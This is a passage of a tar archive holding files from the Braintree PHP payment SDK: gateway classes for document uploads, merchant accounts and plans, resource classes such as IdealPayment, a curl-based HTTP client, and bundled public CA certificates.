$this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /* public class methods */ /** * Accepts a dispute, given a dispute ID * * @param string $id */ public function create($params) { Util::verifyKeys(self::createSignature(), $params); $file = $params['file']; if (!is_resource($file)) { throw new InvalidArgumentException('file must be a stream resource'); } $payload = [ 'document_upload[kind]' => $params['kind'] ]; $path = $this->_config->merchantPath() . '/document_uploads/'; $response = $this->_http->postMultipart($path, $payload, $file); if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } if (isset($response['documentUpload'])) { $documentUpload = DocumentUpload::factory($response['documentUpload']); return new Result\Successful($documentUpload); } } public static function createSignature() { return [ 'file', 'kind' ]; } } class_alias('Braintree\DocumentUploadGateway', 'Braintree_DocumentUploadGateway'); ����������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/IdealPayment.php������������������������������������������������������������0000644�����������������00000004626�14720677707�0014316 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree IdealPayment module * * @package Braintree * @category Resources */ /** * Manages Braintree IdealPayments * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $id * @property-read string $idealTransactionId * @property-read string $currency * @property-read string $amount * @property-read string $status * @property-read string $orderId * @property-read string $issuer * @property-read string $ibanBankAccount */ class IdealPayment extends Base { /** * factory method: returns an instance of IdealPayment * to the requesting method, with populated properties * * @ignore * @return IdealPayment */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /* instance methods */ /** * sets instance properties from an array of values * * @access protected * @param array $idealPaymentAttribs array of idealPayment data * @return void */ protected function _initialize($idealPaymentAttribs) { // set the attributes $this->_attributes = $idealPaymentAttribs; $ibanBankAccount = isset($idealPaymentAttribs['ibanBankAccount']) ? IbanBankAccount::factory($idealPaymentAttribs['ibanBankAccount']) : null; $this->_set('ibanBankAccount', $ibanBankAccount); } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } // static methods redirecting to gateway public static function find($idealPaymentId) { return Configuration::gateway()->idealPayment()->find($idealPaymentId); } public static function sale($idealPaymentId, $transactionAttribs) { $transactionAttribs['options'] = [ 'submitForSettlement' => true ]; return Configuration::gateway()->idealPayment()->sale($idealPaymentId, $transactionAttribs); } } class_alias('Braintree\IdealPayment', 'Braintree_IdealPayment'); ����������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Dispute/EvidenceDetails.php�������������������������������������������������0000644�����������������00000001445�14720677707�0016403 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Dispute; use Braintree\Instance; /** * Evidence details for a dispute * * @package Braintree * * @property-read string $category * @property-read string $comment * @property-read \DateTime $createdAt * @property-read string $id * @property-read \DateTime $sentToProcessorAt * @property-read string $sequenceNumber * @property-read string $tag * @property-read string $url */ class EvidenceDetails extends Instance { public function __construct($attributes) { if (array_key_exists('category', $attributes)) { $attributes['tag'] = $attributes['category']; } parent::__construct($attributes); } } class_alias('Braintree\Dispute\EvidenceDetails', 'Braintree_Dispute_EvidenceDetails'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Dispute/StatusHistoryDetails.php��������������������������������������������0000644�����������������00000000713�14720677707�0017523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Dispute; use Braintree\Instance; /** * Status History for a dispute * * @package Braintree * * @property-read \DateTime $disbursementDate * @property-read \DateTime $effectiveDate * @property-read string $status * @property-read \DateTime $timestamp */ class StatusHistoryDetails extends Instance { } class_alias('Braintree\Dispute\StatusHistoryDetails', 'Braintree_Dispute_StatusHistoryDetails'); �����������������������������������������������������braintree/lib/Braintree/Dispute/TransactionDetails.php����������������������������������������������0000644�����������������00000000741�14720677707�0017144 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Dispute; use Braintree\Instance; /** * Transaction details for a dispute * * @package Braintree */ /** * Creates an instance of DisbursementDetails as returned from a transaction * * * @package Braintree * * @property-read string $amount * @property-read string $id */ class TransactionDetails extends Instance { } class_alias('Braintree\Dispute\TransactionDetails', 'Braintree_Dispute_TransactionDetails'); �������������������������������braintree/lib/Braintree/Http.php��������������������������������������������������������������������0000644�����������������00000022662�14720677707�0012661 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use finfo; /** * Braintree HTTP Client * processes Http requests using curl */ class Http { protected $_config; private $_useClientCredentials = false; public function __construct($config) { $this->_config = $config; } public function delete($path, $params = null) { $response = $this->_doRequest('DELETE', $path, $this->_buildXml($params)); $responseCode = $response['status']; if ($responseCode === 200 || $responseCode === 204) { return true; } else if ($responseCode === 422) { return Xml::buildArrayFromXml($response['body']); } else { Util::throwStatusCodeException($response['status']); } } public function get($path) { $response = $this->_doRequest('GET', $path); if ($response['status'] === 200) { return Xml::buildArrayFromXml($response['body']); } else { Util::throwStatusCodeException($response['status']); } } public function post($path, $params = null) { $response = $this->_doRequest('POST', $path, $this->_buildXml($params)); $responseCode = $response['status']; if ($responseCode === 200 || $responseCode === 201 || $responseCode === 422 || $responseCode == 400) { return Xml::buildArrayFromXml($response['body']); } else { Util::throwStatusCodeException($responseCode); } } public function postMultipart($path, $params, $file) { $headers = [ 'User-Agent: Braintree PHP Library ' . Version::get(), 'X-ApiVersion: ' . Configuration::API_VERSION ]; $response = $this->_doRequest('POST', $path, $params, $file, $headers); $responseCode = $response['status']; if ($responseCode === 200 || $responseCode === 201 || $responseCode === 422 || $responseCode == 400) { return Xml::buildArrayFromXml($response['body']); } else { Util::throwStatusCodeException($responseCode); } } public function put($path, $params = null) { $response = $this->_doRequest('PUT', $path, $this->_buildXml($params)); $responseCode = $response['status']; if ($responseCode === 200 || $responseCode === 201 || $responseCode === 422 || $responseCode == 400) { return Xml::buildArrayFromXml($response['body']); } else { Util::throwStatusCodeException($responseCode); } } private function _buildXml($params) { return empty($params) ? null : Xml::buildXmlFromArray($params); } private function _getHeaders() { return [ 'Accept: application/xml', ]; } private function _getAuthorization() { if ($this->_useClientCredentials) { return [ 'user' => $this->_config->getClientId(), 'password' => $this->_config->getClientSecret(), ]; } else if ($this->_config->isAccessToken()) { return [ 'token' => $this->_config->getAccessToken(), ]; } else { return [ 'user' => $this->_config->getPublicKey(), 'password' => $this->_config->getPrivateKey(), ]; } } public function useClientCredentials() { $this->_useClientCredentials = true; } private function _doRequest($httpVerb, $path, $requestBody = null, $file = null, $headers = null) { return $this->_doUrlRequest($httpVerb, $this->_config->baseUrl() . $path, $requestBody, $file, $headers); } public function _doUrlRequest($httpVerb, $url, $requestBody = null, $file = null, $customHeaders = null) { $curl = curl_init(); curl_setopt($curl, CURLOPT_TIMEOUT, $this->_config->timeout()); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $httpVerb); curl_setopt($curl, CURLOPT_URL, $url); if ($this->_config->acceptGzipEncoding()) { curl_setopt($curl, CURLOPT_ENCODING, 'gzip'); } if ($this->_config->sslVersion()) { curl_setopt($curl, CURLOPT_SSLVERSION, $this->_config->sslVersion()); } $headers = []; if ($customHeaders) { $headers = $customHeaders; } else { $headers = $this->_getHeaders($curl); $headers[] = 'User-Agent: Braintree PHP Library ' . Version::get(); $headers[] = 'X-ApiVersion: ' . Configuration::API_VERSION; $headers[] = 'Content-Type: application/xml'; } $authorization = $this->_getAuthorization(); if (isset($authorization['user'])) { curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($curl, CURLOPT_USERPWD, $authorization['user'] . ':' . $authorization['password']); } else if (isset($authorization['token'])) { $headers[] = 'Authorization: Bearer ' . $authorization['token']; } if ($this->_config->sslOn()) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($curl, CURLOPT_CAINFO, $this->getCaFile()); } if (!empty($file)) { $boundary = "---------------------" . md5(mt_rand() . microtime()); $headers[] = "Content-Type: multipart/form-data; boundary={$boundary}"; $this->prepareMultipart($curl, $requestBody, $file, $boundary); } else if (!empty($requestBody)) { curl_setopt($curl, CURLOPT_POSTFIELDS, $requestBody); } if ($this->_config->isUsingProxy()) { $proxyHost = $this->_config->getProxyHost(); $proxyPort = $this->_config->getProxyPort(); $proxyType = $this->_config->getProxyType(); $proxyUser = $this->_config->getProxyUser(); $proxyPwd= $this->_config->getProxyPassword(); curl_setopt($curl, CURLOPT_PROXY, $proxyHost . ':' . $proxyPort); if (!empty($proxyType)) { curl_setopt($curl, CURLOPT_PROXYTYPE, $proxyType); } if ($this->_config->isAuthenticatedProxy()) { curl_setopt($curl, CURLOPT_PROXYUSERPWD, $proxyUser . ':' . $proxyPwd); } } curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); $httpStatus = curl_getinfo($curl, CURLINFO_HTTP_CODE); $error_code = curl_errno($curl); $error = curl_error($curl); if ($error_code == 28 && $httpStatus == 0) { throw new Exception\Timeout(); } curl_close($curl); if ($this->_config->sslOn()) { if ($httpStatus == 0) { throw new Exception\SSLCertificate($error, $error_code); } } else if ($error_code) { throw new Exception\Connection($error, $error_code); } return ['status' => $httpStatus, 'body' => $response]; } function prepareMultipart($ch, $requestBody, $file, $boundary) { $disallow = ["\0", "\"", "\r", "\n"]; $fileInfo = new finfo(FILEINFO_MIME_TYPE); $filePath = stream_get_meta_data($file)['uri']; $data = file_get_contents($filePath); $mimeType = $fileInfo->buffer($data); // build normal parameters foreach ($requestBody as $k => $v) { $k = str_replace($disallow, "_", $k); $body[] = implode("\r\n", [ "Content-Disposition: form-data; name=\"{$k}\"", "", filter_var($v), ]); } // build file parameter $splitFilePath = explode(DIRECTORY_SEPARATOR, $filePath); $filePath = end($splitFilePath); $filePath = str_replace($disallow, "_", $filePath); $body[] = implode("\r\n", [ "Content-Disposition: form-data; name=\"file\"; filename=\"{$filePath}\"", "Content-Type: {$mimeType}", "", $data, ]); // add boundary for each parameters array_walk($body, function (&$part) use ($boundary) { $part = "--{$boundary}\r\n{$part}"; }); // add final boundary $body[] = "--{$boundary}--"; $body[] = ""; // set options return curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => implode("\r\n", $body) ]); } private function getCaFile() { static $memo; if ($memo === null) { $caFile = $this->_config->caFile(); if (substr($caFile, 0, 7) !== 'phar://') { return $caFile; } $extractedCaFile = sys_get_temp_dir() . '/api_braintreegateway_com.ca.crt'; if (!file_exists($extractedCaFile) || sha1_file($extractedCaFile) != sha1_file($caFile)) { if (!copy($caFile, $extractedCaFile)) { throw new Exception\SSLCaFileNotFound(); } } $memo = $extractedCaFile; } return $memo; } } class_alias('Braintree\Http', 'Braintree_Http'); ������������������������������������������������������������������������������braintree/lib/Braintree/MerchantAccountGateway.php��������������������������������������������������0000644�����������������00000013467�14720677707�0016345 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class MerchantAccountGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function create($attribs) { Util::verifyKeys(self::detectSignature($attribs), $attribs); return $this->_doCreate('/merchant_accounts/create_via_api', ['merchant_account' => $attribs]); } public function find($merchant_account_id) { try { $path = $this->_config->merchantPath() . '/merchant_accounts/' . $merchant_account_id; $response = $this->_http->get($path); return MerchantAccount::factory($response['merchantAccount']); } catch (Exception\NotFound $e) { throw new Exception\NotFound('merchant account with id ' . $merchant_account_id . ' not found'); } } public function update($merchant_account_id, $attributes) { Util::verifyKeys(self::updateSignature(), $attributes); return $this->_doUpdate('/merchant_accounts/' . $merchant_account_id . '/update_via_api', ['merchant_account' => $attributes]); } public static function detectSignature($attribs) { if (isset($attribs['applicantDetails'])) { trigger_error("DEPRECATED: Passing applicantDetails to create is deprecated. Please use individual, business, and funding", E_USER_NOTICE); return self::createDeprecatedSignature(); } else { return self::createSignature(); } } public static function updateSignature() { $signature = self::createSignature(); unset($signature['tosAccepted']); return $signature; } public function createForCurrency($attribs) { $response = $this->_http->post($this->_config->merchantPath() . '/merchant_accounts/create_for_currency', ['merchant_account' => $attribs]); return $this->_verifyGatewayResponse($response); } public function all() { $pager = [ 'object' => $this, 'method' => 'fetchMerchantAccounts', ]; return new PaginatedCollection($pager); } public function fetchMerchantAccounts($page) { $response = $this->_http->get($this->_config->merchantPath() . '/merchant_accounts?page=' . $page); $body = $response['merchantAccounts']; $merchantAccounts = Util::extractattributeasarray($body, 'merchantAccount'); $totalItems = $body['totalItems'][0]; $pageSize = $body['pageSize'][0]; return new PaginatedResult($totalItems, $pageSize, $merchantAccounts); } public static function createSignature() { $addressSignature = ['streetAddress', 'postalCode', 'locality', 'region']; $individualSignature = [ 'firstName', 'lastName', 'email', 'phone', 'dateOfBirth', 'ssn', ['address' => $addressSignature] ]; $businessSignature = [ 'dbaName', 'legalName', 'taxId', ['address' => $addressSignature] ]; $fundingSignature = [ 'routingNumber', 'accountNumber', 'destination', 'email', 'mobilePhone', 'descriptor', ]; return [ 'id', 'tosAccepted', 'masterMerchantAccountId', ['individual' => $individualSignature], ['funding' => $fundingSignature], ['business' => $businessSignature] ]; } public static function createDeprecatedSignature() { $applicantDetailsAddressSignature = ['streetAddress', 'postalCode', 'locality', 'region']; $applicantDetailsSignature = [ 'companyName', 'firstName', 'lastName', 'email', 'phone', 'dateOfBirth', 'ssn', 'taxId', 'routingNumber', 'accountNumber', ['address' => $applicantDetailsAddressSignature] ]; return [ ['applicantDetails' => $applicantDetailsSignature], 'id', 'tosAccepted', 'masterMerchantAccountId' ]; } public function _doCreate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGatewayResponse($response); } private function _doUpdate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->put($fullPath, $params); return $this->_verifyGatewayResponse($response); } private function _verifyGatewayResponse($response) { if (isset($response['response'])) { $response = $response['response']; } if (isset($response['merchantAccount'])) { // return a populated instance of merchantAccount return new Result\Successful( MerchantAccount::factory($response['merchantAccount']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected merchant account or apiErrorResponse" ); } } } class_alias('Braintree\MerchantAccountGateway', 'Braintree_MerchantAccountGateway'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/ThreeDSecureInfo.php��������������������������������������������������������0000644�����������������00000001465�14720677707�0015076 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $enrolled * @property-read boolean $liabilityShiftPossible * @property-read string $status */ class ThreeDSecureInfo extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; } /** * returns a string representation of the three d secure info * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\ThreeDSecureInfo', 'Braintree_ThreeDSecureInfo'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/LocalPaymentCompleted.php���������������������������������������������������0000644�����������������00000003350�14720677707�0016160 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree LocalPaymentCompleted module * * @package Braintree * @category Resources */ /** * Manages Braintree LocalPaymentCompleted * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $grantOwnerMerchantId * @property-read string $grantRecipientMerchantId * @property-read string $paymentMethodNonce * @property-read string $token * @property-read string $updatedFields */ class LocalPaymentCompleted extends Base { /** * factory method: returns an instance of GrantedPaymentInstrumentUpdate * to the requesting method, with populated properties * * @ignore * @return LocalPaymentCompleted */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /* instance methods */ /** * sets instance properties from an array of values * * @access protected * @param array $LocalPaymentCompletedAttribs array of localPaymentCompleted data * @return void */ protected function _initialize($localPaymentCompletedAttribs) { // set the attributes $this->_attributes = $localPaymentCompletedAttribs; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } } class_alias('Braintree\LocalPaymentCompleted', 'Braintree_LocalPaymentCompleted'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PlanGateway.php�������������������������������������������������������������0000644�����������������00000001526�14720677707�0014152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class PlanGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function all() { $path = $this->_config->merchantPath() . '/plans'; $response = $this->_http->get($path); if (key_exists('plans', $response)){ $plans = ["plan" => $response['plans']]; } else { $plans = ["plan" => []]; } return Util::extractAttributeAsArray( $plans, 'plan' ); } } class_alias('Braintree\PlanGateway', 'Braintree_PlanGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/OAuthCredentials.php��������������������������������������������������������0000644�����������������00000001410�14720677707�0015124 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree OAuthCredentials module * * @package Braintree * @category Resources */ class OAuthCredentials extends Base { protected function _initialize($attribs) { $this->_attributes = $attribs; } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * returns a string representation of the access token * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\OAuthCredentials', 'Braintree_OAuthCredentials'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/FacilitatorDetails.php������������������������������������������������������0000644�����������������00000001532�14720677707�0015502 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $oauthApplicationClientId * @property-read string $oauthApplicationName * @property-read string $sourcePaymentMethodToken */ class FacilitatorDetails extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; } /** * returns a string representation of the facilitator details * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\FacilitatorDetails', 'Braintree_FacilitatorDetails'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/index.html������������������������������������������������������������������0000644�����������������00000000000�14720677707�0013204 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/ssl/api_braintreegateway_com.ca.crt���������������������������������������������������0000644�����������������00000035052�14720677707�0016234 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������-----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJp U2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxW ZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCByjEL MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZW ZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJp U2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9y aXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1 nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKzj/i5Vbex t0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIz SdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQG BO+QueQA5N06tRn/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+ rCpSx4/VBEnkjWNHiDxpg8v+R70rfk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/ NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8E BAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAH BgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKv MzEzMA0GCSqGSIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzE p6B4Eq1iDkVwZMXnl2YtmAl+X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y 5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKEKQsTb47bDN0lAtukixlE0kF6BWlK WE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiCKm0oHw0LxOXnGiYZ 4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vEZV8N hnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBI MQswCQYDVQQGEwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24x FzAVBgNVBAMTDlNlY3VyZVRydXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIz MTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAeBgNVBAoTF1NlY3VyZVRydXN0IENv cnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCCASIwDQYJKoZIhvcN AQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQXOZEz Zum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO 0gMdA+9tDWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIao wW8xQmxSPmjL8xk037uHGFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj 7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b01k/unK8RCSc43Oz969XL0Imnal0ugBS 8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmHursCAwEAAaOBnTCBmjAT BgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB /zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCeg JYYjaHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGC NxUBBAMCAQAwDQYJKoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt3 6Z3q059c4EVlew3KW+JwULKUBRSuSceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/ 3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHfmbx8IVQr5Fiiu1cprp6poxkm D5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZnMUFdAvnZyPS CPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR 3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE= -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoT EUdvRGFkZHkuY29tLCBJbmMuMTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRp ZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIz NTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQH EwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8GA1UE AxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKD E6bFIEMBO4Tx5oVJnyfq9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH /PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD+qK+ihVqf94Lw7YZFAXK6sOoBJQ7Rnwy DfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutdfMh8+7ArU6SSYmlRJQVh GkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMlNAJWJwGR tDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEA AaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE FDqahQcQZyi27/a9BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmX WWcDYfF+OwYxdS2hII5PZYe096acvNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu 9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r5N9ss4UXnT3ZJE95kTXWXwTr gIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYVN8Gb5DKj7Tjo 2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI 4uJEvlz36hz1 -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBl MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv b3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzExMTEwMDAwMDAwWjBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl cnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwggEi MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7c JpSIqvTO9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYP mDI2dsze3Tyoou9q+yHyUmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+ wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW/lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4 VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpyoeb6pNnVFzF1roV9Iq4/ 